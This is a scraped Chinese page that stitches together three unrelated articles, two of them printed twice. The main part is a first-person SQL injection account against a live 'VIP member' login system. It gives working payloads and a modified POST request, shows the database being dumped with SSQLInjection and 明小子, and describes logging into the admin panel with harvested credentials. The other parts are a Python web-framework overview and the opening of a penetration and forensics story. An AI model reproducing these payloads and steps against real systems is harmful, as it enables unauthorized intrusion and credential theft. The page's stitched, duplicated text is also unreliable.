  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  
  输入" 'or''=' ",点确定
  
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  
  再次成功登入,确认可以进行注入攻击。
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  
  管理员登录
  输入账号密码,登录
  
  登录成功
  登录成功,看到笑脸真是开心!
  
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理! 查看全部

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  
  输入单引号
  
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  
  输入" 'or''=' ",点确定
  
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  
  再次成功登入,确认可以进行注入攻击。
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  
  管理员登录
  输入账号密码,登录
  
  登录成功
  登录成功,看到笑脸真是开心!
  
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!

php抓取网页数据实例 Python Web框架大列兵,写给初学者的Web框架介绍

网站优化优采云 发表了文章 • 0 个评论 • 66 次浏览 • 2022-06-19 03:41 • 来自相关话题

  php抓取网页数据实例 Python Web框架大列兵,写给初学者的Web框架介绍
  我们知道Web开发最重要的是选择合适的框架,一个好的框架可以极大的提高我们开发的效率,也能帮助我们的应用能按照需求快速迭代。Web框架的数量和质量是一个语言是否成熟的标志之一。PHP下有Larvarel、CodeIgniter,Yii、TP等著名框架使得PHP成为最流行的Web语言之一。Ruby借助其强大框架Rails以RoR(Ruby on Rails)生态开辟了一番天地,很多RoR应用以强大的功能和敏捷能力而闻名,比如知名Git服务器系统Gitlab。那么时下最流行的语言Python Web框架的情况怎么样呢?今天虫虫就来给大家介绍这个。
  
  概述
  Python和PHP一样,也有着大量的Web框架,其Web框架生态圈非常广泛和多样化。在进入具体主题之前,我们先介绍下Web框架。
  Web框架是对常见通用功能的打包,比如Web权限认证模块、导航路由模块、HTTP解析模块、ORM模块以及做扩展使用的插件体系等,打包这些功能可以让开发人员轻松地创建Web应用程序。是一种高层次的代码和应用逻辑重用方法,可以极大的它减少了开发人员花在编写代码上的时间从而提高开发效率。通过提供现成的解决方案,Web应用程序框架可以帮助开发人员短时间内完成应用的开发并持续的迭代。
  Django
  
  说到Python的Web框架,无疑最想到的必然是Django。Django和Laravel最初都是借鉴了RoR的强大思想(动态、DDD、约定优于配置、低重复、及时反馈)。Django框架使用了类MVC的MVT(模型、视图、模板)模式,用Django ORM和数据库联系。
  
  Django ORM内置的管理面板,可以轻松实现数据库内容的管理。使用很少的配置就可能,自动生成数据库模型。
  视图可以包括函数和类,视图的URL路由分配在urls.py文件中完成,可以设计出完美优雅的URL调度。
  Django的模板的系统则相当简单,甚至不支持直接嵌入代码,需要预先生成Tag、Filter才能调用。
  Django支持强大的解决方案:
  全栈模式,内置了大量所有必须的模块cache、session、feed、orm、geo、auth。
  同时也支持"内置电池"(batteries included)模式。
  Django是典型的"大而全"的逻辑,这可以极大的方便大多数开发者。但是这就导致其灵活性不足。要引入其他更好的第三方优秀组件就基本上很难,比如想要在Django里用SQLAlchemy或Mako,需要打上很多补丁,而且会导致管理面板,授权,会话处理或生成表单等功能都不能使用。
  当然Django最人性化的地方是其强大的社区支持和详细文档完美的文档Django 书。文档在安装后就完全嵌入系统的各个部分,使用非常方便,这使得其开发的入门门槛很低。
  最后给一个Django网站模型的示例:
  
  Pyramid
  
  Pyramid也是一个常用的热门Python Web框架,它源于Pylons和repoze.bfg模块,在吸取精华的基础上使得Pyramid快速成长为了一个成熟和稳定的框架。
  虽然两者出现的时间差不多(2005),Pyramid和Django的设计思想则大相径庭。Pyramid非常灵活,很容易定制,可以非常自我的方式以创建特征。Pyramid不会强迫使用框架的习语,对于复杂或高度非标准的项目来说,这点非常有用。
  虽然也内置ORM模块,但是更倡导使用成熟的SQLAlchemy ORM。你也可以按照喜好来定制,比如你可能喜欢peewee ORM,使用原始SQL查询或与NoSQL数据库集成。
  Pyramid中所有选项都是开放式的,所以需要动手能力强一点,可能最初学者稍有点门槛。
  Pyramid是一个自称"开始小,完成大,保持完备的框架。"(start small, finish big, stay finished framework.)。所以非常适合有一定经验丰富的开发人员。
  Pyramid一个典型的"Hello Chongchong"应用示例:
  
  web2py
  
  web2py源于一个教学范例框架,其最关心的是是易于开发和部署。
  Web2py框架也源于RoR和Django思想的启发,奉行约定优于配置的想法,web2py中有很多合理的默认值,允许开发人员快速启动。
  Web2py框架自带了很多模块,比如内置服务器,生成HTML的帮助器,表单,验证器等等,但是Web2py多数据库引擎的支持很简单。其他更多内置的功能有:
  jQuery和Ajax建站助手;
  调度程序和cron;
  双因子认证助手;
  文本消息发送器;
  事件工单系统,允许自动将生产环境中发生的问题分配给开发人员。
  Web2py也宣称,提供全栈式解决方案,提供可能需要的一切模块。
  Web2py在线提供了大量文档:
  从零开始逐步指导入门,比如简要介绍Python语言。以友好的方式展示web2py的各个功能,包括大量代码示例和屏幕截图等。
  尽管具有一定竞争优势,但web2py的社区远远小于Django和Pyramid。其官方邮件列表也不大活跃。另外web2py目前还不能和Python 3不兼容。
  web2py一个典型的广告模型示例:
  微框架
  与大而全思想相反的设计思想是,小而精致的设计,这就是微框架。微框架的好处就是没有冗余,因而性能都很好。
  Flask
  
  Flask是除了Django外最流行的Python Web框架。Flask是一个微框架,具备了基本功能,也支持轻松的扩展。因此,Flask更适合做为胶水来用,来粘合各个Web库。
  纯 Flask不支持任何存储,但是可以Flask-SQLAlchemy,Flask-MongoAlchemy和Flask-Redis等。类似的基本模板系统是Jinja2,可以使用Mako替换。
  Flask框架的座右铭是轻量,"一次一滴"(one drop at a time),这也在其文档中得到全面反映。关于如何构建Flash应用程序可以通过点点滴滴方式学习。阅读几段文档后,就能适应其开发任务了。
  在Flash中你不需要一次就学习很多东西,尤其高级的功能,知道你真正需要的时候再学不迟,这样可以避免无实践的"尴学"。
  Flask的最大问题是,没有大量Flask扩展支持和功能打包。常常遇到扩展插件停更或者文档过时的情况,需要花费大量的精力处理这些情况。
  Flask一个简单示例如下:
  Falcon
  
  Falcon 猎鹰也是一个比较流行的微框架。其目标是创建一个简洁、轻量的Web应用程序基础。官方宣称Falcon是一个裸壳(bare-metal),无限膨胀(bloat-free)的工具集,用于快速的构建后端代码和微服务。Falcon兼容Python 2和3,不用担心Python的版本问题。
  Falcon的一大优势在于其性能非常高,非常快。其官方网站基准测试显示,其比Django或Flask等具有很高的性能优势(27~75倍)。
  
  Falcon缺点是其打包模块有点太少,有路由,中间件,钩子,除此之外就不提供其他功能了(裸壳)。额外其他功能,比如验证等都需要开发人员来开发扩展。因为其设计中就假设用于构建REST API。
  当然其高性能的高度定制的特点确实是一个很好的卖点。毕竟有时候"最简单的解决方案就是最好的方案"。
  Falcon示例程序:
  
  API Star
  
  API Star是一个新的Web微框架,只支持Python 3,其特性使用了Python 3.5中引入的类型提示。API Star使用内置的类型提示实现以简洁、声明式的构建验证模式表示,然后绑定这些模式来请求处理函数。
  API Star还具有兼容OpenAPI 3 的自动API生成文档功能。
  API Star另一个突出的特性是依赖注入机制。这是一个更强大、更智能中间件的替代品。比如可以编写一个所谓的Component,它将使用当前经过身份验证来提供给用户视图。在视图级别,只需要明确声明它将需要User实例,其他事情API Star就会在幕后自动完成。
  自动依赖注入优于常规中间件的优点是组件不会有其他未使用视图的开销。同样
  API Star也可以以更传统,同步性的,兼容WSGI的方式在asyncio上运行。
  最后与API Star捆绑在一起的其他模块都非常标准:比如使用jinja2,路由和事件挂钩进行模板化扩展支持。
  总之API Star初生牛犊,发展可观。截止当前其GitHub存储库中有超过5271的星星。贡献者已经接近一百。PR的合并也非常快,是一个快速增长和协作的新兴框架。
  基于异步和asyncio的框架
  Python web网站通常很慢,为了提高性能,异步技术就成了灵丹妙药。Python也有很多这类的框架。
  Twisted
  
  Twisted是Python中最古老,最成熟的Python异步框架。Twisted最初产生于2002年,其核心是一个名为reactor的事件驱动网络引擎,用于调度和调用用户定义的回调。开始的时候开发人员必须通过定义函数并在操作成功和失败时分别传递它们来使用显式回调。
  
  后来Twisted引入了inlineCallbacks ,用于编写异步代码程序,这些代码与常规同步代码一样简单易读。这个解决方案非常适合Python的语法,并且极大地影响了标准库asyncio中的现代异步工具包。
  Twisted框架的最大优点是虽然本身只是一个捆绑很少的引擎,但支持许多其他扩展可用于扩展其功能,比如从低级网络编程(TCP/UDP)和高级应用程序(HTTP,IMAP,SHH等)。所以,Twisted天然适合编写专业服务,但不适合常规Web应用程序。开发人员必须自己编写很多东西才能实现Django中自带那些功能。Twisted目前开发和维护还很活跃,正在努力迁移代码到Python 3,其核心功能不久前被重写,但许多第三方模块还存在兼容性问题。
  Twisted inlineCallbacks代码示例:
  
  Sanic
  
  Sanic是基于asyncio-Python的异步编程工具箱,与Python 3.4版本的标准库捆绑在一起。Sanic的开发基于Sanic需要掌握asyncio思想,涉及协程的理论知识,并发编程以及关于应用程序中数据流的推理。Sanic在处理长连接时特别有用,比如websocket,如果需要支持websockets或进行大量持久的外部API调用,Sanic是个非常不错的选择。
  Sanic的另一个用例是编写 "glue-web App",它可以作为两个具有不兼容API的子系统之间的代理。
  Sanic框架非常快。其中一个依赖项是Uvloop,它用来替换asyncio的内置事件循环的替代品。Uvloop是libuv的包装器,与Node.js相同的引擎。根据uvloop官方文档,可以让 asyncio的效率提高了2-4倍。
  就功能方面Sanic模仿Flask,比如通过共享Blueprints的概念,微小的子应用程序,允许开发人员在更大的应用程序中拆分和组织其代码。对于光光是数据增删改查CRUD应用,Sanic也不是一个好的选择。
  Sanic一个示例:
  
  Japronto
  在高性能编程领域,有著名的C10K甚至C10M问题,Python Web应用怎么实现每秒处理100W的请求呢?这就是Python把asyncio添加到标准库时想要实现的目标。Japronto是一个基于asyncio的微框架。通过使用uvloop和PicoHTTPParser Japronto实现了每秒处理100万个请求。Uvloop上面说了是基于libuv的asyncio后端,而PicoHTTPParser是用C编写的轻量级HTTP头解析器。
  Japronto框架的所有核心组件也用C实现,还使用各种低层优化和技巧来调整性能。Japronto主要用于高性能特殊任务,它们无法通过大而冗余的主流框架实现。
  Japronto还为REST API的微服务开发提供坚实的基础,开发人员只需要设置路由并确定哪些路由应使用同步或异步处理程序。
  Japronto中"Hello world"应用示例:
   查看全部

  php抓取网页数据实例 Python Web框架大列兵,写给初学者的Web框架介绍
  我们知道Web开发最重要的是选择合适的框架,一个好的框架可以极大的提高我们开发的效率,也能帮助我们的应用能按照需求快速迭代。Web框架的数量和质量是一个语言是否成熟的标志之一。PHP下有Larvarel、CodeIgniter,Yii、TP等著名框架使得PHP成为最流行的Web语言之一。Ruby借助其强大框架Rails以RoR(Ruby on Rails)生态开辟了一番天地,很多RoR应用以强大的功能和敏捷能力而闻名,比如知名Git服务器系统Gitlab。那么时下最流行的语言Python Web框架的情况怎么样呢?今天虫虫就来给大家介绍这个。
  
  概述
  Python和PHP一样,也有着大量的Web框架,其Web框架生态圈非常广泛和多样化。在进入具体主题之前,我们先介绍下Web框架。
  Web框架是对常见通用功能的打包,比如Web权限认证模块、导航路由模块、HTTP解析模块、ORM模块以及做扩展使用的插件体系等,打包这些功能可以让开发人员轻松地创建Web应用程序。是一种高层次的代码和应用逻辑重用方法,可以极大的它减少了开发人员花在编写代码上的时间从而提高开发效率。通过提供现成的解决方案,Web应用程序框架可以帮助开发人员短时间内完成应用的开发并持续的迭代。
  Django
  
  说到Python的Web框架,无疑最想到的必然是Django。Django和Laravel最初都是借鉴了RoR的强大思想(动态、DDD、约定优于配置、低重复、及时反馈)。Django框架使用了类MVC的MVT(模型、视图、模板)模式,用Django ORM和数据库联系。
  
  Django ORM内置的管理面板,可以轻松实现数据库内容的管理。使用很少的配置就可能,自动生成数据库模型。
  视图可以包括函数和类,视图的URL路由分配在urls.py文件中完成,可以设计出完美优雅的URL调度。
  Django的模板的系统则相当简单,甚至不支持直接嵌入代码,需要预先生成Tag、Filter才能调用。
  Django支持强大的解决方案:
  全栈模式,内置了大量所有必须的模块cache、session、feed、orm、geo、auth。
  同时也支持"内置电池"(batteries included)模式。
  Django是典型的"大而全"的逻辑,这可以极大的方便大多数开发者。但是这就导致其灵活性不足。要引入其他更好的第三方优秀组件就基本上很难,比如想要在Django里用SQLAlchemy或Mako,需要打上很多补丁,而且会导致管理面板,授权,会话处理或生成表单等功能都不能使用。
  当然Django最人性化的地方是其强大的社区支持和详细文档完美的文档Django 书。文档在安装后就完全嵌入系统的各个部分,使用非常方便,这使得其开发的入门门槛很低。
  最后给一个Django网站模型的示例:
  
  Pyramid
  
  Pyramid也是一个常用的热门Python Web框架,它源于Pylons和repoze.bfg模块,在吸取精华的基础上使得Pyramid快速成长为了一个成熟和稳定的框架。
  虽然两者出现的时间差不多(2005),Pyramid和Django的设计思想则大相径庭。Pyramid非常灵活,很容易定制,可以非常自我的方式以创建特征。Pyramid不会强迫使用框架的习语,对于复杂或高度非标准的项目来说,这点非常有用。
  虽然也内置ORM模块,但是更倡导使用成熟的SQLAlchemy ORM。你也可以按照喜好来定制,比如你可能喜欢peewee ORM,使用原始SQL查询或与NoSQL数据库集成。
  Pyramid中所有选项都是开放式的,所以需要动手能力强一点,可能最初学者稍有点门槛。
  Pyramid是一个自称"开始小,完成大,保持完备的框架。"(start small, finish big, stay finished framework.)。所以非常适合有一定经验丰富的开发人员。
  Pyramid一个典型的"Hello Chongchong"应用示例:
  
  web2py
  
  web2py源于一个教学范例框架,其最关心的是是易于开发和部署。
  Web2py框架也源于RoR和Django思想的启发,奉行约定优于配置的想法,web2py中有很多合理的默认值,允许开发人员快速启动。
  Web2py框架自带了很多模块,比如内置服务器,生成HTML的帮助器,表单,验证器等等,但是Web2py多数据库引擎的支持很简单。其他更多内置的功能有:
  jQuery和Ajax建站助手;
  调度程序和cron;
  双因子认证助手;
  文本消息发送器;
  事件工单系统,允许自动将生产环境中发生的问题分配给开发人员。
  Web2py也宣称,提供全栈式解决方案,提供可能需要的一切模块。
  Web2py在线提供了大量文档:
  从零开始逐步指导入门,比如简要介绍Python语言。以友好的方式展示web2py的各个功能,包括大量代码示例和屏幕截图等。
  尽管具有一定竞争优势,但web2py的社区远远小于Django和Pyramid。其官方邮件列表也不大活跃。另外web2py目前还不能和Python 3不兼容。
  web2py一个典型的广告模型示例:
  微框架
  与大而全思想相反的设计思想是,小而精致的设计,这就是微框架。微框架的好处就是没有冗余,因而性能都很好。
  Flask
  
  Flask是除了Django外最流行的Python Web框架。Flask是一个微框架,具备了基本功能,也支持轻松的扩展。因此,Flask更适合做为胶水来用,来粘合各个Web库。
  纯 Flask不支持任何存储,但是可以Flask-SQLAlchemy,Flask-MongoAlchemy和Flask-Redis等。类似的基本模板系统是Jinja2,可以使用Mako替换。
  Flask框架的座右铭是轻量,"一次一滴"(one drop at a time),这也在其文档中得到全面反映。关于如何构建Flash应用程序可以通过点点滴滴方式学习。阅读几段文档后,就能适应其开发任务了。
  在Flash中你不需要一次就学习很多东西,尤其高级的功能,知道你真正需要的时候再学不迟,这样可以避免无实践的"尴学"。
  Flask的最大问题是,没有大量Flask扩展支持和功能打包。常常遇到扩展插件停更或者文档过时的情况,需要花费大量的精力处理这些情况。
  Flask一个简单示例如下:
  Falcon
  
  Falcon 猎鹰也是一个比较流行的微框架。其目标是创建一个简洁、轻量的Web应用程序基础。官方宣称Falcon是一个裸壳(bare-metal),无限膨胀(bloat-free)的工具集,用于快速的构建后端代码和微服务。Falcon兼容Python 2和3,不用担心Python的版本问题。
  Falcon的一大优势在于其性能非常高,非常快。其官方网站基准测试显示,其比Django或Flask等具有很高的性能优势(27~75倍)。
  
  Falcon缺点是其打包模块有点太少,有路由,中间件,钩子,除此之外就不提供其他功能了(裸壳)。额外其他功能,比如验证等都需要开发人员来开发扩展。因为其设计中就假设用于构建REST API。
  当然其高性能的高度定制的特点确实是一个很好的卖点。毕竟有时候"最简单的解决方案就是最好的方案"。
  Falcon示例程序:
  
  API Star
  
  API Star是一个新的Web微框架,只支持Python 3,其特性使用了Python 3.5中引入的类型提示。API Star使用内置的类型提示实现以简洁、声明式的构建验证模式表示,然后绑定这些模式来请求处理函数。
  API Star还具有兼容OpenAPI 3 的自动API生成文档功能。
  API Star另一个突出的特性是依赖注入机制。这是一个更强大、更智能中间件的替代品。比如可以编写一个所谓的Component,它将使用当前经过身份验证来提供给用户视图。在视图级别,只需要明确声明它将需要User实例,其他事情API Star就会在幕后自动完成。
  自动依赖注入优于常规中间件的优点是组件不会有其他未使用视图的开销。同样
  API Star也可以以更传统,同步性的,兼容WSGI的方式在asyncio上运行。
  最后与API Star捆绑在一起的其他模块都非常标准:比如使用jinja2,路由和事件挂钩进行模板化扩展支持。
  总之API Star初生牛犊,发展可观。截止当前其GitHub存储库中有超过5271的星星。贡献者已经接近一百。PR的合并也非常快,是一个快速增长和协作的新兴框架。
  基于异步和asyncio的框架
  Python web网站通常很慢,为了提高性能,异步技术就成了灵丹妙药。Python也有很多这类的框架。
  Twisted
  
  Twisted是Python中最古老,最成熟的Python异步框架。Twisted最初产生于2002年,其核心是一个名为reactor的事件驱动网络引擎,用于调度和调用用户定义的回调。开始的时候开发人员必须通过定义函数并在操作成功和失败时分别传递它们来使用显式回调。
  
  后来Twisted引入了inlineCallbacks ,用于编写异步代码程序,这些代码与常规同步代码一样简单易读。这个解决方案非常适合Python的语法,并且极大地影响了标准库asyncio中的现代异步工具包。
  Twisted框架的最大优点是虽然本身只是一个捆绑很少的引擎,但支持许多其他扩展可用于扩展其功能,比如从低级网络编程(TCP/UDP)和高级应用程序(HTTP,IMAP,SHH等)。所以,Twisted天然适合编写专业服务,但不适合常规Web应用程序。开发人员必须自己编写很多东西才能实现Django中自带那些功能。Twisted目前开发和维护还很活跃,正在努力迁移代码到Python 3,其核心功能不久前被重写,但许多第三方模块还存在兼容性问题。
  Twisted inlineCallbacks代码示例:
  
  Sanic
  
  Sanic是基于asyncio-Python的异步编程工具箱,与Python 3.4版本的标准库捆绑在一起。Sanic的开发基于Sanic需要掌握asyncio思想,涉及协程的理论知识,并发编程以及关于应用程序中数据流的推理。Sanic在处理长连接时特别有用,比如websocket,如果需要支持websockets或进行大量持久的外部API调用,Sanic是个非常不错的选择。
  Sanic的另一个用例是编写 "glue-web App",它可以作为两个具有不兼容API的子系统之间的代理。
  Sanic框架非常快。其中一个依赖项是Uvloop,它用来替换asyncio的内置事件循环的替代品。Uvloop是libuv的包装器,与Node.js相同的引擎。根据uvloop官方文档,可以让 asyncio的效率提高了2-4倍。
  就功能方面Sanic模仿Flask,比如通过共享Blueprints的概念,微小的子应用程序,允许开发人员在更大的应用程序中拆分和组织其代码。对于光光是数据增删改查CRUD应用,Sanic也不是一个好的选择。
  Sanic一个示例:
  
  Japronto
  在高性能编程领域,有著名的C10K甚至C10M问题,Python Web应用怎么实现每秒处理100W的请求呢?这就是Python把asyncio添加到标准库时想要实现的目标。Japronto是一个基于asyncio的微框架。通过使用uvloop和PicoHTTPParser Japronto实现了每秒处理100万个请求。Uvloop上面说了是基于libuv的asyncio后端,而PicoHTTPParser是用C编写的轻量级HTTP头解析器。
  Japronto框架的所有核心组件也用C实现,还使用各种低层优化和技巧来调整性能。Japronto主要用于高性能特殊任务,它们无法通过大而冗余的主流框架实现。
  Japronto还为REST API的微服务开发提供坚实的基础,开发人员只需要设置路由并确定哪些路由应使用同步或异步处理程序。
  Japronto中"Hello world"应用示例:
  

【10步】完成一个十亿大案的电子数据取证

网站优化优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-06-18 12:03 • 来自相关话题

  【10步】完成一个十亿大案的电子数据取证
  写在前面的话
  这可能是已身坚志残的先森归隐之作,经历了某省有关XX招录政策各种变,对打击网络犯罪和维护网络安全的相关领域技能人才的不够重视。满腔热血就这么凝固,因此这段时间也消沉了很多,但即使如此,屠龙少年仍会不忘初心,始终以打击恶龙为己任!
  同时这也是一篇无奈的求职信,祈求有关XX中的伯乐能够慧眼识马,以管用有效的政策和公平公正地考察方式来检验相关应试人员的【技能和实力】,实现像先森这样一片赤诚为国奉献的年轻人的理想。
  这里要 感谢 前段时间在有关XX实习时朝夕相处的同事们及 提供有关XX实习机会的领导 、案例中某单位的几位朋友 和 后续提供技术支持的朋友C、 公众号信息时代的犯罪侦查等朋友们给予的机会和肯定。
  下面是正文,一改前期,以严肃、简练的文笔纪实了先森同学几年前协助有关XX侦破某案件。长达一个月的渗透和半个月的取证,期间并未截图且后期网站为躲避打击而做了迁移和改变,以下截图为后补的,信息可能有很多地方对不上的,望各位海涵。
  原涉案网址:,后改为*****
  
  第0节 信息收集
  本次行动旨在响应净网行动,打击违法网站,营造和谐社会。前期某单位民警通过线索发现辖区内有公民参与到涉案网站,并已对其立案侦查,现需要对整个涉案网站进行分析、取证。
  前期通过威胁情报平台和子域名爆破等方式拿到该网址的几个公开的子域名。
  子域名收集:
  ThinkPHP框架
  ……
  通过查询域名历史持有者拿到如下信息:
  域名持有者信息:
  注册者** (相关域名 1 个)
  注册机构*************************************
  邮箱********@ (相关域名 0 个)
  电话+86.***********
  电话: ***********
  注册者: **** *****
  邮箱: **********@
  注册账号后,进入用普通用户的后台。左侧一共四栏选择框,前两栏为功能模块;下一栏跳转到交易系统,最后一栏是宣传照。通过查看Cookie的信息,发现该网站有阿里云的防护,即使发现网站有漏洞也无法正面利用,如图 0-1所示。
  
  图 0-1 查看Cookies内容
